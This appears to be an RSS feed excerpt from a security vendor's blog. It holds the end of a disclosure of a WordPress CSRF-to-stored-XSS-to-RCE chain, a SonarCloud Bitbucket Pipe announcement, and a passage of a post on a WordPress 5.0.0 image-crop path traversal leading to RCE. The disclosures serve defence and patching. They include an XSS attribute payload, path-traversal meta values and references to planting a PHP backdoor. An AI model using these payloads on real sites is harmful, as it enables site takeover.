value.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;wp-includes/formatting.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;3002    function wp_rel_nofollow_callback( $matches ) {
3003        $text = $matches[1];
3004        $atts = shortcode_parse_atts($matches[1]);
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;WordPress then checks if the &lt;code&gt;rel&lt;/code&gt; attribute is set. This attribute can only be set if the comment is filtered via &lt;code&gt;wp_filter_post_kses()&lt;/code&gt;. If it is, it processes the &lt;code&gt;rel&lt;/code&gt; attribute and then puts the &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tag back together.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;wp-includes/formatting.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;3013    if (!empty($atts[&apos;rel&apos;])) {
3014        // the processing of the &apos;rel&apos; attribute happens here
3015        ⋮
3016        $text = &apos;&apos;;
3017        foreach ($atts as $name =&gt; $value) {
3018            $text .= $name . &apos;=&quot;&apos; . $value . &apos;&quot; &apos;;
3019        }
3020    }
3021    return &apos;&lt;a &apos; . $text . &apos; rel=&quot;&apos; . $rel . &apos;&quot;&gt;&apos;;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The flaw occurs in the lines 3017 and 3018 of the above snippet, where the attribute values are concatenated back together without being escaped.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;An attacker can create a comment containing a crafted &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tag and set for example the &lt;code&gt;title&lt;/code&gt; attribute of the anchor to &lt;code&gt;title=&amp;#x27;XSS &amp;quot; onmouseover=alert(1) id=&amp;quot;&amp;#x27;&lt;/code&gt;. This attribute is valid HTML and would pass the sanitization step. However, this only works because the crafted &lt;code&gt;title&lt;/code&gt; tag uses single quotes.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When the attributes are put back together, the value of the &lt;code&gt;title&lt;/code&gt; attribute is wrapped around in double quotes (line 3018). This means an attacker can inject additional HTML attributes by injecting an additional double quote that closes the title attribute.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For example: &lt;code&gt;&amp;lt;a title=&amp;#x27;XSS &amp;quot; onmouseover=evilCode() id=&amp;quot; &amp;#x27;&amp;gt;&lt;/code&gt; would turn into&lt;br/&gt;&lt;code&gt;&amp;lt;a title=&amp;quot;XSS &amp;quot; onmouseover=evilCode() id=&amp;quot; &amp;quot;&amp;gt;&lt;/code&gt; after processing.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Since the comment has already been sanitized at this point, the injected &lt;code&gt;onmouseover&lt;/code&gt; event handler is stored in the database and does not get removed. This allows attackers to inject a stored XSS payload into the target website by chaining this sanitization flaw with the CSRF vulnerability.&lt;/p&gt;&lt;h3&gt;Executing the XSS via an iframe to achieve RCE&lt;/h3&gt;&lt;p&gt;The next step for an attacker to gain Remote Code Execution after creating the malicious comment is to get the injected JavaScript executed by the administrator. The comment is displayed in the frontend of the targeted WordPress blog. The frontend is not protected by the &lt;code&gt;X-Frame-Options&lt;/code&gt; header by WordPress itself. This means the comment can be displayed in a hidden &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt; on the website of the attacker. Since the injected attribute is an &lt;code&gt;onmouseover&lt;/code&gt; event handler, the attacker can make the iframe follow the mouse of the victim to instantly trigger the XSS payload.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This allows an attacker to execute arbitrary JavaScript code with the session of the administrator who triggered the CSRF vulnerability on the target website. All of the JavaScript execution happens in the background without the victim administrator noticing.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Now that is possible to execute arbitrary JavaScript code with the session of the administrator, Remote Code Execution can be achieved easily. By default, WordPress allows administrators of a blog to directly edit the &lt;em&gt;.php&lt;/em&gt; files of themes and plugins from within the admin dashboard. By simply inserting a PHP backdoor, the attacker can gain arbitrary PHP code execution on the remote server.&lt;/p&gt;&lt;h2&gt;Patch&lt;/h2&gt;&lt;p&gt;By default, WordPress automatically installs security updates and you should already run the latest version 5.1.1. In case you or your hoster disabled the auto-update functionality for some reason, you can also disable comments until the security patch is installed. Most importantly, make sure to logout of your administrator session before visiting other websites.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;What&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/10/24&lt;/td&gt;&lt;td&gt;Reported that it is possible to inject more HTML tags than should be allowed via CSRF to WordPress.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/10/25&lt;/td&gt;&lt;td&gt;WordPress triages the report on Hackerone.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019/02/05&lt;/td&gt;&lt;td&gt;WordPress proposes a patch, we provide feedback.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019/03/01&lt;/td&gt;&lt;td&gt;Informed WordPress that we managed to escalate the additional HTML injection to a Stored XSS vulnerability.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019/03/01&lt;/td&gt;&lt;td&gt;WordPress informs us that a member of the WordPress security team already found the issue and a patch is ready.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019/03/13&lt;/td&gt;&lt;td&gt;WordPress 5.1.1 Security and Maintenance&amp;nbsp;Release&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;This blog detailed an exploit chain that starts with a CSRF vulnerability. The chain allows for any WordPress site with default settings to be taken over by an attacker, simply by luring an administrator of that website onto a malicious website. The victim administrator does not notice anything on the website of the attacker and does not have to engange in any other form of interaction, other than visiting the website set up by the attacker.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We would like to thank the volunteers of the WordPress security team which have been very friendly and acted professionally when working with us on this issue.&lt;/p&gt;&lt;h3&gt;Related Posts&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/wordpress-csrf-to-rce/&quot;&gt;WordPress &amp;lt;= 5.2.3: Hardening Bypass&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/wordpress-csrf-to-rce/&quot;&gt;WordPress Privilege Escalation through Post Types&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/wordpress-csrf-to-rce/&quot;&gt;WordPress Design Flaw Leads to WooCommerce RCE&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/wordpress-csrf-to-rce/&quot;&gt;WordPress File Delete to Code Execution&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/wordpress-csrf-to-rce/&quot;&gt;WordPress 5.0.0 Remote Code Execution &lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Announcing the SonarCloud Pipe for Bitbucket Cloud users!]]></title><description><![CDATA[SonarSource is proud to be a launch partner of the Atlassian Bitbucket Pipes. Thanks to the SonarCloud Scan Pipe, you can configure code analysis in your Bitbucket Pipeline in no time.]]></description><link>https://www.sonarsource.com/blog/sonarcloud-bitbucket-pipe</link><guid isPermaLink="false">b675e0d8-a80f-516e-b68a-0ccf58cd3312</guid><dc:creator><![CDATA[Nicolas Bontoux]]></dc:creator><pubDate>Thu, 28 Feb 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;The value of powerful pipelines&lt;/h2&gt;&lt;p&gt;At SonarSource, we&amp;#x27;re continually striving to not only build the most powerful code analyzers that detect bugs and vulnerabilities, but also provide a seamless user experience around it. It&amp;#x27;s about helping developers focus on what they care about most: coding. Build pipelines should be easy to configure and actionable data presented to developers whenever they open a pull request or push new code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With this in mind, we&amp;#x27;re excited to partner with &lt;a href=&quot;https://bitbucket.org/blog/meet-bitbucket-pipes-30-ways-to-automate-your-ci-cd-pipeline?utm_source=sonarsource&amp;utm_medium=press-release&amp;utm_campaign=bitbucket_bitbucket-pipes&quot;&gt;Atlassian, launching Bitbucket Pipes&lt;/a&gt;. This solution lets Bitbucket Cloud users more easily configure their pipeline using pre-configured, high-level tasks (so-called &lt;em&gt;Pipes&lt;/em&gt;). Code quality analysis is a must for any modern pipeline, and we&amp;#x27;ve therefore partnered to build the &lt;em&gt;SonarCloud Scan&lt;/em&gt; Pipe. With this functionality, all Bitbucket Cloud users can set-up the SonarCloud analysis of their code repository in no time.&lt;/p&gt;&lt;h2&gt;How it works in practice&lt;/h2&gt;&lt;p&gt;Let&amp;#x27;s look at the scenario where you want to analyze your latest TypeScript (for example) project on SonarCloud. Prior to Bitbucket Pipes, your CI script had to download the Sonar Scanner CLI, extract it and set the correct environment variables - all of this before the actual scan could be triggered to perform the analysis. In Bitbucket Pipelines, the step to run the analysis was usually looking something like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;definitions:
  steps:
    - step: &amp;build-test-sonarcloud
        name: Build, test and analyze on SonarCloud
        script:
          - export SONAR_SCANNER_VERSION=3.2.0.1227
          - curl -sSLo $HOME/.sonar/sonar-scanner.zip https://binaries.sonarsource.com/Distribution/sonar-scanner-cli/sonar-scanner-cli-$SONAR_SCANNER_VERSION.zip
          - export SONAR_SCANNER_HOME=$HOME/.sonar/sonar-scanner-$SONAR_SCANNER_VERSION
          - rm -rf $SONAR_SCANNER_HOME &amp;&amp; mkdir -p $SONAR_SCANNER_HOME
          - unzip $HOME/.sonar/sonar-scanner.zip -d $HOME/.sonar/
          - export PATH=$SONAR_SCANNER_HOME/bin:$PATH
          - sonar-scanner -Dsonar.login=$SONAR_TOKEN&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;On top of this, you had to make sure that a JRE (Java Runtime Environment) was installed in your Pipelines image - which is probably not the case since you&amp;#x27;re doing TypeScript in this example. All in all, a lot of boilerplate code and configuration that can be costly to write and maintain over time!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;With the new Pipes feature, you can refactor this piece of your &lt;/strong&gt;&lt;code&gt;bitbucket-pipelines.yml&lt;/code&gt;&lt;strong&gt; file to make it easier to read and maintain. In &amp;quot;Edit&amp;quot; mode, open the Pipes side panel, search for SonarCloud and click on the &amp;quot;Copy&amp;quot; button to insert the pipe inside your configuration file.&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/9b393377-0153-4f9f-b6a0-632dfbe6ff89/body-a866c8d4ae8155d163d12796af8967da156e0181_pipe.png&quot; /&gt;&lt;p&gt;Now, with the &lt;em&gt;SonarCloud Scan&lt;/em&gt; Pipe, the step to trigger a SonarCloud analysis within your pipeline is much simpler to describe!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;definitions:
  steps:
    - step: &amp;build-test-sonarcloud
        name: Build, test and analyze on SonarCloud
        script:
          - pipe: sonarsource/sonarcloud-scan:0.1.4
            variables:
              SONAR_TOKEN: ${SONAR_TOKEN}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Also, no more JRE installation needed: sweet! An added bonus is there&amp;#x27;s no need to worry about the internal details of this higher level operation, the &lt;em&gt;SonarCloud Scan&lt;/em&gt; Pipe does what you expect: trigger a SonarCloud code analysis on your repository.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Once you&amp;#x27;ve deployed this nice face-lift of your Pipelines configuration, you can keep on enjoying the analysis results on the main page of your repository or on the pull requests. Exactly like before, but with a simpler and smarter way to do it!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/27cd4c34-e17b-4d04-99a6-e20d3631518c/body-6396ee246f9f0b16f46c142394bd04be70be40a0_sonarcloud-widget.png&quot; /&gt;&lt;h2&gt;A continued partnership&lt;/h2&gt;&lt;p&gt;The &lt;em&gt;SonarCloud Scan&lt;/em&gt; Pipe for Bitbucket Pipelines is yet another example of how SonarCloud intends to &lt;em&gt;Enhance Your Workflow with Continuous Code Quality&lt;/em&gt;. Configuration remains simple thanks to an all-encapsulated Pipe; developers get to stay focused on their code changes and Pull Requests; CI/CD pipeline takes care of the rest. We hope you&amp;#x27;ll enjoy this new Pipe! And be sure that SonarSource and Atlassian teams will continue working together to allow development teams of all sizes to build and deploy top quality software.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;If you are a Bitbucket Cloud user and want to try out the SonarCloud Scan Pipe, the SonarCloud &lt;a href=&quot;https://sonarcloud.io/documentation/integrations/bitbucketcloud/&quot;&gt;Get started with Bitbucket Cloud&lt;/a&gt; guide is the place to start from! For any feedback/question, please come over and join &lt;a href=&quot;https://community.sonarsource.com/tags/c/help/sc/bitbucket&quot;&gt;our community forums&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[WordPress 5.0.0 Remote Code Execution]]></title><description><![CDATA[This blog post details how a combination of a Path Traversal and Local File Inclusion vulnerability lead to Remote Code Execution in the WordPress core (CVE-2019-8943). The vulnerability remained uncovered in the WordPress core for over 6 years.]]></description><link>https://www.sonarsource.com/blog/wordpress-image-remote-code-execution</link><guid isPermaLink="false">f7ebefae-d93b-5197-8856-11983d1a0ac9</guid><dc:creator><![CDATA[Simon Scannell]]></dc:creator><pubDate>Tue, 19 Feb 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/VxRj5DE-K3k&quot;&gt;WordPress 5.0.0 Remote Code Execution&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;An attacker who gains access to an account with at least &lt;code&gt;author&lt;/code&gt; privileges on a target WordPress site can execute arbitrary PHP code on the underlying server, leading to a full remote takeover. We sent the WordPress security team details about another vulnerability in the WordPress core that can give attackers exactly such access to any WordPress site, which is currently unfixed.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Who is affected?&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The vulnerability explained in this post was rendered non-exploitable by another security patch in versions &lt;strong&gt;4.9.9&lt;/strong&gt; and &lt;strong&gt;5.0.1&lt;/strong&gt;. However, the Path Traversal is still possible and currently unpatched. Any WordPress site with a plugin installed that incorrectly handles &lt;em&gt;Post Meta&lt;/em&gt; entries can make exploitation still possible. We have seen plugins with millions of active installations do this mistake in the past during the preparations for our WordPress security month.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;According to the download page of WordPress, the software is used by over &lt;a href=&quot;https://wordpress.org/download/&quot;&gt;33%&lt;/a&gt; of all websites on the internet. Considering that plugins might reintroduce the issue and taking in factors such as outdated sites, the number of affected installations is still in the millions.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Technical Analysis&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Both the Path Traversal and Local File Inclusion vulnerability was automatically detected by our leading SAST solution RIPS within 3 minutes scan time with a click of a button. However, at first sight the bugs looked not exploitable. It turned out that the exploitation of the vulnerabilities is much more complex but possible.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/p3sanyDesJQ&quot;&gt;Wordpress image rce animation&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Background - WordPress Image Management&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When an image is uploaded to a WordPress installation, it is first moved to the uploads directory (wp-content/uploads). WordPress will also create an internal reference to the image in the database, to keep track of meta information such as the owner of the image or the time of the upload.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This meta-information is stored as &lt;em&gt;Post Meta&lt;/em&gt; entries in the database. Each of these entries are a key / value pair, assigned to a certain ID.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Example Post Meta reference to an uploaded image &lt;em&gt;evil.jpg&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1    MariaDB[wordpress]&gt;SELECT*FROMwp_postmetaWHEREpost_ID=50; 
2    +---------+-------------------------+----------------------------+ 
3    | post_id | meta_key                | meta_value                 | 
4    +---------+-------------------------+----------------------------+ 
5    |      50 | _wp_attached_file.      | evil.jpg.                  |
6    |      50 |_wp_attachment_metadata  | a:5:{s:5:&quot;width&quot;;i:450...  |
7    ... 
8    +---------+-------------------------+----------------------------+&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this example, the image has been assigned the&lt;code&gt; post_ID&lt;/code&gt; 50. If the user wants to use or edit the image with said&lt;em&gt;ID&lt;/em&gt;in the future, WordPress will look up the matching &lt;code&gt;_wp_attached_file&lt;/code&gt; meta entry and use it’s value in order to find the file in the &lt;code&gt;wp-content/uploads&lt;/code&gt; directory.&lt;/p&gt;&lt;h3&gt;Core issue - Post Meta entries can be overwritten&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The issue with these &lt;em&gt;Post Meta&lt;/em&gt; entries prior to WordPress &lt;strong&gt;4.9.9&lt;/strong&gt; and &lt;strong&gt;5.0.1&lt;/strong&gt; is that it was possible to modify any entries and set them to arbitrary values.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When an image is updated (e.g. it’s description is changed), the &lt;code&gt;edit_post() &lt;/code&gt;function is called. This function directly acts on the &lt;code&gt;$_POST&lt;/code&gt; array.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Arbitrary Post Meta values can be updated.&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1    function edit_post( $post_data = null ) {
2
3        if ( empty($postarr) )
4            $postarr = &amp;$_POST;
5        ⋮
6        if ( ! empty( $postarr[&apos;meta_input&apos;] ) ) {
7            foreach ( $postarr[&apos;meta_input&apos;] as $field =&gt; $value ) {
8                update_post_meta( $post_ID, $field, $value );
9            }
10        }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As can be seen, it is possible to inject arbitrary &lt;em&gt;Post Meta &lt;/em&gt;entries. Since no check is made on which entries are modified, an attacker can update the &lt;code&gt;_wp_attached_file&lt;/code&gt; meta entry and set it to&lt;strong&gt; any &lt;/strong&gt;value. This does not rename the file in any way, it just changes the file WordPress will look for when trying to edit the image. This will lead to a Path Traversal later.&lt;/p&gt;&lt;h3&gt;Path Traversal via Modified Post Meta&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The Path Traversal takes place in the &lt;code&gt;wp_crop_image()&lt;/code&gt; function which gets called when a user crops an image.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The function takes the ID of an image to crop &lt;code&gt;($attachment_id)&lt;/code&gt; and fetches the corresponding  &lt;code&gt;_wp_attached_file&lt;/code&gt;  &lt;em&gt;Post Meta&lt;/em&gt; entry from the database.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Remember that due to the flaw in &lt;code&gt;edit_post()&lt;/code&gt;, &lt;code&gt;$src_file &lt;/code&gt;can be set to anything.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Simplified wp_crop_image() function. The actual code is located in wp-admin/includes/image.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1    function wp_crop_image( $attachment_id, $src_x, ...) {
2
3        $src_file = $file = get_post_meta( $attachment_id, &apos;_wp_attached_file&apos; );
4        ⋮&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the next step, WordPress has to make sure the image actually exists and load it. WordPress has two ways of loading the given image. The first is to simply look for the filename provided by the&lt;code&gt; _wp_attached_file&lt;/code&gt; &lt;em&gt;Post Meta&lt;/em&gt; entry in the &lt;code&gt;wp-content/uploads&lt;/code&gt; directory (line 2 of the next code snippet).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If that method fails, WordPress will try to download the image from its own server as a fallback. To do so it will generate a download URL consisting of the URL of the&lt;code&gt; wp-content/uploads&lt;/code&gt; directory and the filename stored in the &lt;code&gt;_wp_attached_file&lt;/code&gt; &lt;em&gt;Post Meta&lt;/em&gt; entry (line 6).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To give a concrete example: If the value stored in the&lt;code&gt; _wp_attached_file&lt;/code&gt; &lt;em&gt;Post Meta&lt;/em&gt; entry was &lt;code&gt;evil.jpg&lt;/code&gt;, then WordPress would first try to check if the file &lt;code&gt;wp-content/uploads/evil.jpg&lt;/code&gt; exists. If not, it would try to download the file from the following URL: &lt;code&gt;https://targetserver.com/wp-content/uploads/evil.jpg&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The reason for trying to download the image instead of looking for it locally is for the case that some plugin generates the image on the fly when the URL is visited. Take note here that no sanitization whatsoever is performed here. WordPress will simply concatenate the upload directory and the URL with the &lt;code&gt;$src_file&lt;/code&gt; user input. Once WordPress has successfully loaded a valid image via &lt;code&gt;wp_get_image_editor()&lt;/code&gt;, it will crop the image.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 1    ⋮
 2    if ( ! file_exists( &quot;wp-content/uploads/&quot; . $src_file ) ) {
 3            // If the file doesn&apos;t exist, attempt a URL fopen on the src link.
 4            // This can occur with certain file replication plugins.
 5            $uploads = wp_get_upload_dir();
 6            $src = $uploads[&apos;baseurl&apos;] . &quot;/&quot; . $src_file;
 7        } else {
 8            $src = &quot;wp-content/uploads/&quot; . $src_file;
 9        }
10  
11    $editor = wp_get_image_editor( $src );
12    ⋮ &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The cropped image is then saved back to the filesystem (regardless of whether it was downloaded or not). The resulting filename is going to be the &lt;code&gt;$src_file&lt;/code&gt; returned by &lt;code&gt;get_post_meta()&lt;/code&gt;, which is under control of an attacker. The only modification made to the resulting filename string is that the basename of the file is prepended by cropped- (line 4 of the next code snippet.) To follow the example of the &lt;code&gt;evil.jpg&lt;/code&gt;, the resulting filename would be &lt;code&gt;cropped-evil.jpg&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;WordPress then creates any directories in the resulting path that do not exist yet via &lt;code&gt;wp_mkdir_p()&lt;/code&gt; (line 6). It is then finally written to the filesystem using the &lt;code&gt;save()&lt;/code&gt; method of the image editor object. The &lt;code&gt;save()&lt;/code&gt; method also performs no Path Traversal checks on the given file name.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1    ⋮
2    $src = $editor-&gt;crop( $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs );
3    
4    $dst_file = str_replace( basename( $src_file ), &apos;cropped-&apos; . basename( $src_file ), $src_file );
5    
6    wp_mkdir_p( dirname( $dst_file ) );
7    
8    $result = $editor-&gt;save( $dst_file );&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;The Idea&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So far, we have discussed that it is possible to determine which file gets loaded into the image editor, since no sanitization checks are performed. However, the image editor will throw an exception if the file is not a valid image. The first assumption might be, that it is only possible to crop images outside the uploads directory then.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, the circumstance that WordPress tries to download the image if it is not found leads to a Remote Code Execution vulnerability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;br&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Local File&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;HTTP Download&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Uploaded file&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;evil.jpg&lt;/td&gt;&lt;td&gt;evil.jpg&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;_wp_attached_file&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;evil.jpg?shell.php&lt;/td&gt;&lt;td&gt;evil.jpg?shell.php&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Resulting file that will be loaded&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;wp-content/uploads/evil.jpg?shell.php&lt;/td&gt;&lt;td&gt;https://targetserver.com/wp-content/uploads/evil.jpg?shell.php&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Actual location&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;wp-content/uploads/evil.jpg&lt;/td&gt;&lt;td&gt;https://targetserver.com/wp-content/uploads/evil.jpg&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Resulting filename&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;None - image loading fails&lt;/td&gt;&lt;td&gt;evil.jpg?cropped-shell.php&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The idea is to set &lt;code&gt;_wp_attached_file&lt;/code&gt; to &lt;code&gt;evil.jpg?shell.php&lt;/code&gt;, which would lead to an HTTP request being made to the following URL: &lt;code&gt;https://targetserver.com/wp-content/uploads/evil.jpg?shell.php&lt;/code&gt;. This request would return a valid image file, since everything after the &lt;code&gt;?&lt;/code&gt; is ignored in this context. The resulting filename would be &lt;code&gt;evil.jpg?shell.php&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, although the &lt;code&gt;save()&lt;/code&gt; method of the image editor does not check against Path Traversal attacks, it will append the extension of the mime type of the image being loaded to the resulting filename. In this case, the resulting filename would be &lt;code&gt;evil.jpg?cropped-shell.php.jpg&lt;/code&gt;. This renders the newly created file harmless again.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, it is still possible to plant the resulting image into any directory by using a payload such as &lt;code&gt;evil.jpg?/../../evil.jpg&lt;/code&gt;.&lt;/p&gt;&lt;h3&gt;Exploiting the Path Traversal - LFI in Theme directory&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Each WordPress theme is simply a directory located in the &lt;code&gt;wp-content/themes&lt;/code&gt; directory of WordPress and provides template files for different cases. For example, if a visitor of a blog wants to view a blog post, WordPress looks for a &lt;code&gt;post.php&lt;/code&gt; file in the directory of the currently active theme. If it finds the template it will &lt;code&gt;include()&lt;/code&gt; it.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In order to add an extra layer of customization, it is possible to select a custom template for certain posts. To do so, a user has to set the &lt;code&gt;_wp_page_template&lt;/code&gt; &lt;em&gt;Post Meta&lt;/em&gt; entry in the database to such a custom filename. The only limitation here is that the file to be&lt;code&gt; include()&lt;/code&gt;‘ed must be located in the directory of the currently active theme.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Usually, this directory cannot be accessed and no files can be uploaded. However, by abusing the above described Path Traversal, it is possible to plant 